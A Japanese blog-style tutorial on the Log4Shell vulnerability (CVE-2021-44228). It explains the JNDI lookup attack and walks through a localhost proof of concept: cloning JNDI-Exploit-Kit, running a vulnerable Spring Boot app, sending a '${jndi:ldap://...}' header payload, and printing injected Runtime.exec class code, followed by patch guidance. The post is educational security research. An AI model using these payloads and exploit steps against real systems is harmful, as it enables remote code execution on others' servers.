【POC検証】Apache log4j 脆弱性(CVE-2021-44228)
はじめに
2021年12月9日頃~IT業界を騒がせている「Apache log4j 脆弱性(CVE-2021-44228)」なのですが、
各社、確認に追われている方も多いと思っています。
こちらについて、この機会に調べて実際に動きを確かめてみましたので共有と知識整理のために記載します。
- 本記事のまとめスライド
https://www.slideshare.net/tomoakitsutsui/log4j-exploit-poc
対象者
- log4jの脆弱性がどんなものなのか知りたい方
- log4jの脆弱性を実際にローカル環境で動かして試してみたい方
- 攻撃手法について簡単に概要を抑えたい方
- log4jの脆弱性についてまとめて、身近な人に共有したいなと思っている方
Apache log4j 脆弱性(Log4Shell:CVE-2021-44228)とは
-
概要
- 今回の脆弱性は「Log4Shell」と呼ばれていて「別名:CVE-2021-44228」というCVE番号が付与されている脆弱性
- Javaの主要なロギングフレームワークである「Log4j」で発見されたゼロデイの任意コードが実行できる脆弱性
-
発見時系列
- 2021年11月24日 Alibabaのクラウドセキュリティチームによって発見、秘密裏にApacheに報告
- 2021年12月9日に一般に公開
-
影響サービス
- 全世界のlog4j2の以下バージョンを利用しているサービス
- Apache Log4j-core 2.15.0より前の2系のバージョン
- ※補足:Log4jライブラリは1系と2系で別れており、影響があるのは2系の上記バージョンのみ(LookUps機能が1系には存在しないため)
- Apache Log4j-core 2.15.0より前の2系のバージョン
- 全世界のlog4j2の以下バージョンを利用しているサービス
-
影響サービス代表例:マインクラフト
- 2022/12/10に公開されている
- (『マインクラフト』Java版にセキュリティ上の問題が判明。チャットからでも攻撃受ける可能性あり、開発元はパッチ配信(automaton-media))
- マインクラフトはJavaで動作しており、ローカルにダウンロードする形で動作している
- マインクラフト内のチャット機能内にJNDI文字列を送信することで、受信者のローカルで動作しているマインクラフトアプリのlog出力機能を経由して、受信者のローカルPCで任意のコマンドを発行できるという不具合
- ローカル端末に保存している見られたくないファイルや、パスワードが記載されたファイルを外部に送信するコマンドや、端末自体をシャットダウンさせることも、ファイルを削除させることも可能
- ▼ 検証されているYoutube動画
- 2022/12/10に公開されている
問題事象について
-
攻撃手法について
- 今回悪用されたのはLog4jに備わっているLookups機能
- Lookups機能の中の1つであるJNDI Lookup機能により攻撃者により任意のコマンドを実行される可能性がある
- Apache Log4j Lookups / Jndi Lookup
-
悪用全体図:パターン①
- HTTPリクエスト:クライアント>脆弱性ありサーバ
- LDAP通信:脆弱性ありサーバ>悪意のあるLDAPサーバ → 悪意のあるWebサーバに配置しているClassへの参照返却
- クラス参照通信:脆弱性ありサーバ>悪意のあるWebサーバ → 悪意のあるWebサーバに配置されたClassのダウンロード
-
Class内に記載された悪意のあるロジックが実行される
-
引用:Zero-Day Exploit Targeting Popular Java Library Log4j
引用:【図解】Log4jの脆弱性 CVE-2021-44228 (Log4shell or LogJam) について
引用:Apache Log4j に関する解説 1.4版(2021/12/24)
- 悪用全体図:パターン② ※こちらの検証方法については未確認
引用:Observation of Attacks Targeting Apache Log4j2 RCE Vulnerability (CVE-2021-44228)
-
攻撃痕跡を確認する方法:以下参照
-
参考
POC 検証
ローカル環境での検証用としてお使いください。
今回は「悪用全体図:パターン①」で検証しています。
- 検証環境
- Windows10 home (GitBash上でのコマンド実行)
- Java JDK8
STEP1 悪意のあるLDAP/RMI/WEBサーバ、脆弱性を含むJavaアプリ準備
# 作業ディレクトリに移動(例)
cd /d/git/java/log4j-vulnarability
# 悪意のあるLDAP/RMI/WEBサーバ
git clone https://github.com/pimps/JNDI-Exploit-Kit.git
# 脆弱性を含むJavaアプリ
git clone https://github.com/tutttuwi/JNDI-Injection-Target-App.git
STEP2 アプリ起動
- 前提条件:
- ローカル環境で起動しているセキュリティソフトを一時的に無効化しておくこと
- ネットワーク攻撃/ボット攻撃への保護機能(IDSなど)が動いていると確認ができない
- ローカル環境にJavaがインストールされていること
- ローカル環境で起動しているセキュリティソフトを一時的に無効化しておくこと
# 悪意のあるLDAP/RMI/WEBサーバのディレクトリに移動
cd JNDI-Exploit-Kit
# ビルド実行 ※エラーが発生する場合はJDK環境やネットワーク環境を見直す
bash gradlew build
# 悪意のあるサーバの起動 (実行コマンドは calc を指定)
java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 127.0.0.1:1389 -J 127.0.0.1:9090 -R 127.0.0.1:1099 -C 'calc'
# 脆弱性を含むJavaアプリディレクトリに移動
cd JNDI-Injection-Target-App
# ビルド実行 ※エラーが発生する場合はJDK環境やネットワーク環境を見直す
bash gradlew build
# 脆弱性を含むJavaアプリ起動 ※補足:システムプロパティ[com.sun.jndi.ldap.object.trustURLCodebase]をtrueにしておく
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar build/libs/JNDI-Injection-Target-App-0.0.1-SNAPSHOT.jar
悪意のあるLDAP/RMI/WEBサーバを起動したときの出力ログ
$ java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 127.0.0.1:1389 -J 127.0.0.1:9090 -R 127.0.0.1:1099 -C 'calc'
_ _ _ _____ _____ ______ _ _ _ _ ___ _
| | \ | | __ \_ _| | ____| | | (_) | | |/ (_) |
| | \| | | | || |______| |__ __ ___ __ | | ___ _| |_ ______| ' / _| |_
_ | | . ` | | | || |______| __| \ \/ / '_ \| |/ _ \| | __|______| < | | __|
| |__| | |\ | |__| || |_ | |____ > <| |_) | | (_) | | |_ | . \| | |_
\____/|_| \_|_____/_____| |______/_/\_\ .__/|_|\___/|_|\__| |_|\_\_|\__|
| |
|_| created by @welk1n
modified by @pimps
[HTTP_ADDR] >> 127.0.0.1
[RMI_ADDR] >> 127.0.0.1
[LDAP_ADDR] >> 127.0.0.1
[COMMAND] >> calc
----------------------------JNDI Links----------------------------
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://127.0.0.1:1099/6bmedd
ldap://127.0.0.1:1389/6bmedd
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://127.0.0.1:1099/istruy
ldap://127.0.0.1:1389/istruy
Target environment(Build in JDK 1.6 whose trustURLCodebase is true):
rmi://127.0.0.1:1099/revkhb
ldap://127.0.0.1:1389/revkhb
Target environment(Build in JDK - (BYPASS WITH EL by @welk1n) whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://127.0.0.1:1099/wiruj8
Target environment(Build in JDK 1.5 whose trustURLCodebase is true):
rmi://127.0.0.1:1099/1uipbg
ldap://127.0.0.1:1389/1uipbg
Target environment(Build in JDK - (BYPASS WITH GROOVY by @orangetw) whose trustURLCodebase is false and have Tomcat 8+ and Groovy in classpath):
rmi://127.0.0.1:1099/onu2fl
----------------------------Server Log----------------------------
2021-12-26 00:33:55 [JETTYSERVER]>> Listening on 127.0.0.1:9090
2021-12-26 00:33:55 [RMISERVER] >> Listening on 127.0.0.1:1099
2021-12-26 00:33:56 [LDAPSERVER] >> Listening on 0.0.0.0:1389
脆弱性を含むWebアプリを起動したときのログ
$ java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar build/libs/JNDI-Injection-Target-App-0.0.1-SNAPSHOT.jar
. ____ _ __ _ _
/\\ / ___'_ __ _ _(_)_ __ __ _ \ \ \ \
( ( )\___ | '_ | '_| | '_ \/ _` | \ \ \ \
\\/ ___)| |_)| | | | | || (_| | ) ) ) )
' |____| .__|_| |_|_| |_\__, | / / / /
=========|_|==============|___/=/_/_/_/
:: Spring Boot :: (v2.6.1)
2021-12-26 00:34:01.202 INFO 14700 --- [ main] m.t.J.JndiInjectionTargetAppApplication : Starting JndiInjectionTargetAppApplication using Java 12.0.2 on DORAEMON with PID 14700 (D:\git\java\log4j-vulnarability\JNDI-Injection-Target-App\build\libs\JNDI-Injection-Target-App-0.0.1-SNAPSHOT.jar started by Tomo in D:\git\java\log4j-vulnarability\JNDI-Injection-Target-App)
2021-12-26 00:34:01.210 INFO 14700 --- [ main] m.t.J.JndiInjectionTargetAppApplication : No active profile set, falling back to default profiles: default
2021-12-26 00:34:03.356 INFO 14700 --- [ main] o.s.b.w.e.t.TomcatWebServer : Tomcat initialized with port(s): 8080 (http)
2021-12-26 00:34:03.382 INFO 14700 --- [ main] o.a.c.c.StandardService : Starting service [Tomcat]
2021-12-26 00:34:03.382 INFO 14700 --- [ main] o.a.c.c.StandardEngine : Starting Servlet engine: [Apache Tomcat/9.0.55]
2021-12-26 00:34:03.384 WARN 14700 --- [ main] o.a.c.c.AprLifecycleListener : This listener must only be nested within Server elements, but is in [TomcatEmbeddedContext].
2021-12-26 00:34:03.384 INFO 14700 --- [ main] o.a.c.c.AprLifecycleListener : An older version [1.2.23] of the Apache Tomcat Native library is installed, while Tomcat recommends a minimum version of [1.2.30]
2021-12-26 00:34:03.385 INFO 14700 --- [ main] o.a.c.c.AprLifecycleListener : Loaded Apache Tomcat Native library [1.2.23] using APR version [1.7.0].
2021-12-26 00:34:03.385 INFO 14700 --- [ main] o.a.c.c.AprLifecycleListener : APR capabilities: IPv6 [true], sendfile [true], accept filters [false], random [true], UDS [false].
2021-12-26 00:34:03.386 INFO 14700 --- [ main] o.a.c.c.AprLifecycleListener : APR/OpenSSL configuration: useAprConnector [false], useOpenSSL [true]
2021-12-26 00:34:03.389 INFO 14700 --- [ main] o.a.c.c.AprLifecycleListener : OpenSSL successfully initialized [OpenSSL 1.1.1c 28 May 2019]
2021-12-26 00:34:03.451 INFO 14700 --- [ main] o.a.c.c.C.[.[.[/jndi-targetapp] : Initializing Spring embedded WebApplicationContext
2021-12-26 00:34:03.452 INFO 14700 --- [ main] w.s.c.ServletWebServerApplicationContext : Root WebApplicationContext: initialization completed in 2186 ms
2021-12-26 00:34:03.911 INFO 14700 --- [ main] o.s.b.w.e.t.TomcatWebServer : Tomcat started on port(s): 8080 (http) with context path '/jndi-targetapp'
2021-12-26 00:34:03.924 INFO 14700 --- [ main] m.t.J.JndiInjectionTargetAppApplication : Started JndiInjectionTargetAppApplication in 3.497 seconds (JVM running for 4.602)
STEP3 脆弱性を含むJavaアプリへリクエストの送信
# 脆弱性を含むJavaアプリへリクエスト送信
# 形式:curl [localip:port] -H '[HederName]: ${jndi:[TargetEnvironmentURL]}'
curl 127.0.0.1:8080/jndi-targetapp/info -H 'X-Api-Version: ${jndi:ldap://127.0.0.1:1389/istruy}'
# ▶ここでは悪意のあるサーバ起動時に出力された以下のldapサーバのURLを指定
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://127.0.0.1:1099/istruy
ldap://127.0.0.1:1389/istruy
実行キャプチャ
実行処理解説
悪意のあるWebアプリ
- アプリ起動
- ServerStart.javaのmainメソッド内でJetty/Ldap/Rmiサーバを起動
- LDAPサーバ:LDAPRefServer.javaのrunメソッドを参照
- RMIサーバ:RMIRefServer.javaのrunメソッドを参照
- JETTYサーバ:JettyServer.javaを参照
- LdapサーバでJettyサーバのURLが返却された際に、脆弱性のあるWebアプリからdoGetメソッドが呼び出され、対象のJavaクラスが返却される
- Transformers.java
- src/main/resources/template直下に格納されているクラスファイルに、以下のコードを埋め込み、Jettyサーバで返却できるようにしている
- ServerStart.javaのmainメソッド内でJetty/Ldap/Rmiサーバを起動
// 埋め込まれるJavaコード(commandには指定されたコマンドが設定される)
String[] cmd;
if (java.lang.System.getProperty("os.name").toLowerCase().contains("win")) {
cmd = new String[] { "cmd.exe", "/C", command };
} else {
cmd = new String[] { "/bin/bash", "-c", command };
}
try {
Runtime.getRuntime().exec(cmd);
} catch (Exception e) {
e.printStackTrace();
}
// Jettyサーバで返却されるクラスファイルをでデコンパイルしたもの
/****** Transformers.javaで埋め込み前のコード ******/
public class ExecTemplateJDK8 {
static {
System.out.println();
}
}
/****** Transformers.javaで埋め込み後のコード ******/
// static初期化ブロックに該当コードが記述されるので、
public class ExecTemplateJDK8 {
static {
String[] arrayOfString;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
arrayOfString = new String[] { "cmd.exe", "/C", "calc" };
} else {
arrayOfString = new String[] { "/bin/bash", "-c", "calc" };
}
try {
Runtime.getRuntime().exec(arrayOfString);
} catch (Exception exception) {
exception.printStackTrace();
}
System.out.println();
}
}
脆弱性のあるWebアプリ
- 利用するlog4j2ライブラリの設定
dependencies {
// implementation 'org.springframework.boot:spring-boot-starter-web'
compileOnly 'org.projectlombok:lombok'
developmentOnly 'org.springframework.boot:spring-boot-devtools'
annotationProcessor 'org.projectlombok:lombok'
testImplementation 'org.springframework.boot:spring-boot-starter-test'
implementation('org.springframework.boot:spring-boot-starter-web') {
exclude group: 'org.springframework.boot', module: 'spring-boot-starter-logging'
}
// https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core
//implementation group: 'org.apache.logging.log4j', name: 'log4j-core', version: '2.1'
implementation 'org.springframework.boot:spring-boot-starter-log4j2:2.6.1'
// https://mvnrepository.com/artifact/commons-collections/commons-collections
//implementation group: 'commons-collections', name: 'commons-collections', version: '3.2.1'
}
- コントローラーの設定
- ヘッダー文字列をLog4j2ライブラリでログ出力する
- ※システムプロパティはSpringBoot起動後に変更できないので設定しても意味がないためコメントアウトで残しています。
@RestController
@RequestMapping("/")
public class JndiController {
// static final Logger log = Logger.getLogger("JndiController");
private static final Logger log = LogManager.getLogger(JndiController.class.getName());
/**
* Root Controller
*/
@GetMapping(value = "info")
public String index(@RequestHeader("X-Api-Version") String apiVersion) throws Throwable {
// System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
// System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
// System.setProperty("log4j2.formatMsgNoLookups", "false");
// System.setProperty("log4j2.enableJndiLookup", "true");
log.info("##### Request Param");
log.info("UserAgent: " + apiVersion);
return "hello world!!";
}
}
本脆弱性を防ぐには(2021/12/27時点のApacheページより)
-
恒久対応
- log4j2ライブラリーのバージョンアップ
-
java8
の場合、Apache Log4j 2.17.0
を利用する -
java7
の場合、Apache Log4j 2.12.3
を利用する※java7用に個別対応している -
java6
の場合、Apache Log4j 2.3.1
を利用する
-
- log4j2ライブラリーのバージョンアップ
-
暫定対応
- JndiLookup クラスをクラスパスから削除する。
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
- JndiLookup クラスをクラスパスから削除する。
-
※詳細はApacheのページ内で各ライブラリーへのMigrationと暫定手段としてMapPatternの使用、JndiLookupクラスをクラスパスから削除する方法が紹介されています。最新情報はこちらを参照ください。
最後に
本脆弱性の内容と、検証方法について記載しました。
実際に試してみてうまく検証できなかったなどがありましたらコメント頂ければ確認します。
その他、誤っている箇所があればご指摘いただけたら幸いです。
この記事が少しでも脆弱性に対する理解につながったら嬉しいです。